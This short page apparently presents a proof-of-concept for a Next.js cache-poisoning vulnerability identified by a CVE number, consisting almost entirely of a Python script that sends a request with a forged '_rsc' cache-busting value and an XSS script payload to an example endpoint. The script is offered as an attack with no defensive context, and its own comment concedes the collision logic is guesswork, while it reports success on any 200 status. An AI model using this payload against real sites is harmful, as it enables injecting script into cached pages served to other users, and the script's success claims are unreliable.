CVE-2026-44582 Next.js缓存投毒漏洞

import requests # Target URL (Example) target_url = "http://example.com/api/rsc" # Malicious payload to be cached malicious_payload = "<script>alert('XSS')</script>" # Headers simulating the collision in _rsc cache-busting value # Note: Actual collision logic depends on specific implementation details of the vulnerable version headers = { "User-Agent": "CachePoison/1.0", "X-RSC-Param": "collision_value" } params = { "_rsc": "collision_value", # Attempting to trigger cache collision "data": malicious_payload } try: # Send request to poison the cache response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print(f"[+] Potential cache poisoning successful. Status: {response.status_code}") print(f"[+] Response cached with key collision.") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"Error: {e}")